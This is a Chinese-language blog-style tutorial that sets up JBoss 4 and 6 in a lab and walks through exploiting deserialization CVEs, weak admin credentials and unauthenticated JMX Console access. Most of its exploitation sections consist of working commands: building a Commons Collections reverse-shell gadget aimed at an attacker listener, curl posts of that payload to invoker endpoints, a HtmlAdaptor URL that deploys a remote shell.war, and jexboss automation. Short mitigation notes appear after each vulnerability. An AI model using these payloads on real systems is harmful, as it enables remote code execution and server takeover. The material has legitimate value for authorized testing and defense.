【超詳細】JBoss中間件漏洞總結
一.Jboss簡介
Jboss是一個基于J2EE的開放源代碼的應用服務器。JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3的規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。
默認端口:8080
二.Jboss安裝
下載地址:https://jbossas.jboss.org/downloads/
1.安裝jdk
這里用了兩臺機子,一臺安裝老版本Jboss4,jdk選1.6,一臺安裝Jboss6.jdk選1.7
這里可以注意一下jboss5-7可以被jdk7支持,jboss4可以被jdk6支持;使用jdk8的話訪問JMX-console會報500;
安裝jdk步驟網上教程很多,我就不寫了,這里已經裝好。
image-20210819161330082
image-20210819161353705
2.下載并安裝Jboss6
下載jboss-6.1.0.Final:
image-20210819150959561
將其拉入虛擬機c盤
image-20210820101410679
新建環境變量:
JBOSS_HOME值為C:\jboss-6.1.0.Final
image-20210820101555697
path中加入:
;%JBOSS_HOME%\bin;
image-20210820101919780
在該目錄下雙擊run.bat啟動
C:\jboss-6.1.0.Final\bin
image-20210820102031667
出現info即為啟動成功,本地可成功訪問。
image-20210820102615856
此時遠程訪問是訪問不了的,我們需要修改C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml的配置實現外網訪問。將address="${jboss.bind.address}"改成address="0.0.0.0"
image-20210820105055554
保存后重啟jboss,即可實現外網訪問;
image-20210820105424802
3.下載并安裝Jboss4
Jboss4和Jboss6的安裝步驟一樣,唯一不同的是在外網訪問的配置文件上修改的地方不太一樣;
image-20210820135311614
進去下面目錄,修改server.xml,如下圖成功訪問
C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer
image-20210820135514710
image-20210820135718708
三.Jboss滲透
1.Jboss5.x/6.x反序列化漏洞(CVE-2017-12149)
漏洞原理
該漏洞為 Java反序列化錯誤類型,存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter過濾器中。該過濾器在沒有進行任何安全檢查的情況下嘗試將來自客戶端的數據流進行反序列化,從而導致了攻擊者可以在服務器上執行任意代碼。
影響版本
Jboss AS 5.x Jboss AS 6.x
漏洞驗證
訪問/invoker/readonly,返回500(內部服務器錯誤——服務器端的CGI、ASP、JSP等程序發生錯誤),說明此頁面存在反序列化漏洞
image-20210820144055866
漏洞復現
下載漏洞利用工具:https://github.com/joaomatosf/JavaDeserH2HC
image-20210823090347902
編譯(需要java環境)
cd /opt curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz tar zxvf jdk-8u20-linux-x64.tar.gz rm -rf /usr/bin/java* ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin javac -version java -version
這里我已經安裝好
image-20210820144519927
開啟監聽
image-20210820144803249
選擇一個Gadget:ReverseShellCommonsCollectionsHashMap,編譯并生成序列化數據;生成ReverseShellCommonsCollectionsHashMap.class;
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.ja va
image-20210823090310580
生成序列化數據ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192 .168.10.65:12345
image-20210823090832540
利用ReverseShellCommonsCollectionsHashMap.ser,以二進制格式發送ReverseShellCommonsCollectionsHashMap.ser包
curl http://192.168.10.154:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
image-20210823091400586
成功反彈shell。
安全防護
1.升級新版本。2.刪除http-invoker.sar 組件,路徑如下
C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
image-20210823093407062
3.添加如下代碼至 http-invoker.sar 下 web.xml的security-constraint 標簽中,用于對 http invoker 組件進行訪問控制。
/*
路徑為:
C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF
image-20210823093730532
image-20210823093707651
2.JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
漏洞原理
JBoss中/invoker/JMXInvokerServlet路徑對外開放,JBoss的jmx組件支持反序列化。JBoss在/invoker/JMXInvokerServlet請求中讀取了用戶傳入的對象,然后我們利用Apache Commons Collections中的Gadget執行任意代碼。
影響版本
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10 JBoss AS (Wildly) 6 and earlier JBoss A-MQ 6.2.0 JBoss Fuse 6.2.0 JBoss SOA Platform (SOA-P) 5.3.1 JBoss Data Grid (JDG) 6.5.0 JBoss BRMS (BRMS) 6.1.0 JBoss BPMS (BPMS) 6.1.0 JBoss Data Virtualization (JDV) 6.1.0 JBoss Fuse Service Works (FSW) 6.0.0 JBoss Enterprise Web Server (EWS) 2.1,3.0
漏洞驗證
訪問/invoker/JMXInvokerServlet,返回如下頁面,說明接口開放,此接口存在反序列化漏洞。
image-20210823092835771
漏洞復現
這里利用上面生成的序列化數據ReverseShellCommonsCollectionsHashMap.ser,發送到/invoker/JMXInvokerServlet接口中;
curl http://192.168.10.154:8080/invoker/JMXInvokerServlet --data-binary @ReverseSh ellCommonsCollectionsHashMap.ser
image-20210823093222160
成功反彈shell。
安全防護
同上;
3.JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
漏洞原理
這個漏洞與CVE-2015-7501一樣,都是利用了Apache Commons Collections的基礎庫進行Java反序列化漏洞的利用。差別在于CVE-2017-7504利用路徑是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路徑是/invoker/JMXInvokerServlet。
影響版本
Jboss AS 4.x及之前版本
漏洞驗證
訪問/jbossmq-httpil/HTTPServerILServlet,出現如下頁面,說明存在該漏洞
image-20210823094243623
漏洞復現
這里利用上面生成好的序列化數據,發送到改接口中:
curl http://192.168.10.213:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
image-20210823094553928
成功反彈shell
安全防護
升級到最新版本。
4.JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)
漏洞原理
此漏洞和CVE-2015-7501漏洞原理相同,兩者的區別就在于兩個漏洞選擇的進行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue進行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation進行反序列化并上傳構造的文件。
影響版本
jboss 6.x 版本
漏洞驗證
訪問/invoker/EJBInvokerServlet,如果可以訪問的到,說明存在漏洞
image-20210823094955346
漏洞復現
還是利用上面生成的.ser文件,通過POST 二進制數據上去,反向連接shell
curl http://192.168.10.154:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
image-20210823095326056
5.Administration Console 弱口令
漏洞原理
Administration Console管理頁面存在弱口令,登錄后臺可以上傳war包
影響版本
漏洞驗證

image-20210823100247859
漏洞復現
admin/admin弱口令登錄,點擊add a new resource上傳war包

image-20210823104115380
點擊war包進入下一層,若狀態為stop,則點擊start,默認都是start,不需要點。
image-20210823104345893
蟻劍成功連接
image-20210823104524819
安全防護
修改密碼,密碼文件路徑為
C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

或者刪除Administration Console頁面
Jboss版本>=6.0,admin-console頁面路徑為
C:\jboss-6.1.0.Final\common\deploy\admin-console.war
6.0之前的版本,路徑為
C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war
6.JMX Console未授權訪問漏洞
漏洞原理
訪問控制不嚴導致的漏洞,默認情況下訪問 http://ip:8080/jmx-console 就可以訪問管理控制臺,不需要輸入用戶名和密碼就可以直接瀏覽 JBoss 的部署管理的信息,部署上傳木馬,存在安全隱患。
影響版本
JBOSS 全版本
漏洞驗證
點擊主頁的JMX Console進入頁面

漏洞復現
Jboss4.x的復現:
kali開啟遠程服務,為了下面部署war包
image-20210823115736527
進入JXM Console之后,找到jboss.deployment
image-20210823111537878
點進去找到void addURL(),輸入遠程war包鏈接之后,點擊invoke
image-20210823121654413
回到這個頁面上方,點擊Apply Changes
image-20210823121833925
返回到JMX Console頁面,等待一會,刷新后可以看見部署成功
image-20210823122437357
蟻劍成功連接
image-20210823122620639
Jboss6.x的復現:
步驟差不多一樣
image-20210823122818531

在該頁面找到methodindex為17or19的deploy,填寫遠程war包的地址進行遠程部署
image-20210823130424900
image-20210823130758283
image-20210823130823043
image-20210823131048341
或者是直接運行下面的語句部署即可
http://192.168.10.154:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.syst em:service=MainDeployer&methodIndex=17&arg0=http://192.168.10.65/shell.war
image-20210823131823568
蟻劍成功連接
image-20210823131009567
部署的路徑為如下,可以看見自動部署出war中的文件。
C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost
image-20210823131904293
安全防護
關閉jmx-console和web-console,提高安全性。
7.JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)
漏洞原理
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路徑對外開放,并且沒有任何身份驗證機制,導致攻擊者可以進?到jmx控制臺,并在其中執?任何功能。
影響版本
Jboss4.x以下
漏洞復現
輸?url:http://192.168.10.213:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository定位到void store()
image-20210823133106427
分別向四個參數傳入內容:
p1傳入的部署war包的名字,p2傳入的是上傳文件的文件名,p3傳入的是上傳文件的格式,p4傳入的是上傳文件的內容
image-20210823134213929
點擊invoke
image-20210823134234176
經過測試,已經寫入,但是目錄底層不對,跳轉不過去,無法上線蟻劍,這是個問題,暫時保留,有師傅有解決方法可以告訴我一下,萬分感謝。
image-20210823142321972
image-20210823135236215
安全防護
目前官方已經發布了升級補丁以修復這個安全問題,請到官網的主頁下載:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1036
四.自動化滲透
jexboss自動化滲透
jexboss是針對jboss滲透自動化估計武器,是用于測試和利用JBoss Application Server和其他java平臺、框架、應用程序等中的漏洞的工具。
下載地址:https://github.com/joaomatosf/jexboss
這里演示的環境是我上面搭建的4.x和6.x的環境。
輸入命令
python jexboss.py -host http://192.168.10.213:8080/
輸入yes即可
image-20210823141601720
image-20210823141649693
成功交互。